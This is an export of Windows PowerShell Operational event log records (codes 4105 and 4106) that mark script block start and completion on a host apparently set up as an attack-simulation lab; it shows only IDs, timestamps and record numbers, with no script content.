ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037474
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037473
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037468
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037467
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037445
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037444
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037443
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037442
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037425
Keywords=None
